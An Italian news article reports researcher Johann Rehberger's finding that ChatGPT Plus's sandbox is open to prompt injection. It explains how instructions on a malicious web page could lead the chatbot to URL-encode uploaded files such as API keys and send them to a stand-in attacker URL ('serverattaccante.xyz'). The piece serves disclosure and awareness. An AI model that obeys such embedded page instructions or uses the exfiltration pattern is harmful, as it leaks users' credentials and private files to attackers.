Con l’espressione prompt injection si fa riferimento a una forma di attacco informatico che sfrutta le capacità di un sistema di elaborazione del linguaggio naturale (NLP, Natural Language Processing) al fine di inserire comandi o istruzioni non autorizzati all’interno dei dati di input.
Secondo Johann Rehberger, ricercatore esperto di problematiche legate alla sicurezza, ChatGPT Plus sarebbe esposto a fenomeni di prompt injection e data exfiltration. In altre parole, un utente malintenzionato può inoculare un prompt intenzionalmente progettato per ottenere risposte che mettono a rischio i dati personali e le informazioni riservate di altri soggetti.
ChatGPT sfrutta l’intelligenza artificiale e i modelli generativi di OpenAI per scrivere codice di programmazione funzionante. Il codice così generato è eseguito sul cloud, sui server OpenAI, all’interno di un ambiente protetto (sandbox).
La sandbox di ChatGPT Plus è esposta ad attacchi di prompt injection
Come ha spiegato Rehberger, l’ambiente sandboxed su cui poggia il suo funzionamento ChatGPT, è di fatto vulnerabile ad attacchi di prompt injection e data exfiltration. Quest’ultima espressione sta a significare che un utente malevolo può acquisire dati riferibili a soggetti altrui, come credenziali di accesso, token autorizzativi ed altre informazioni che dovrebbero rimanere segrete.
ChatGPT Plus consente il caricamento di qualunque tipo di file: basta cliccare sull’icona che raffigura una piccola graffetta. Per ogni sessione di chat, il chatbot crea una nuova macchina virtuale Ubuntu Linux con una directory home chiamata /home/sandbox
. I file personali dell’utente sono invece memorizzati nella cartella /mnt/data
.
Sebbene ChatGPT Plus non offra una finestra del terminale vera e propria, è possibile specificare come prompt il solo comando ls /mnt/data
per ottenere la lista dei file presenti nella cartella dell’utente.
Il nocciolo della questione è che incollando l’URL di una pagina Web contenente istruzioni “ad hoc”, un aggressore può estrarre i dati personali dell’utente dalla cartella /mnt/data
e riceverli con una semplice richiesta trasmessa tramite URL.
Come funziona l’attacco di prompt injection tramite una pagina Web
Un esempio concreto? Si supponga di aver passato a ChatGPT Plus un file env_vars.txt
contenente chiavi API e password. L’attaccante potrebbe predisporre una pagina Web malevola contenente istruzioni volte a convertire i dati dei file presenti nella cartella/mnt/data
, compreso quindi anche env_vars.txt
, in un formato URL-encoded per richiederne l’invio automatico verso un server controllato dallo stesso aggressore.
Semplicemente incollando l’URL del sito malevolo nella finestra di ChatGPT e premendo Invio, il chatbot potrebbe trovare e interpretare le istruzioni contenute nella pagina quindi condividere i dati personali dell’utente conservati nella sandbox. L’invio non autorizzato delle informazioni avviene facendo collegare ChatGPT a un URL del tipo //serverattaccante.xyz/data.php?data=[DATI_URL_ENCODED]
.
L’attacco potrebbe iniziare anche da pagine Web legittime, sfruttando plugin “fallati” o abusando dei sistemi di commenti.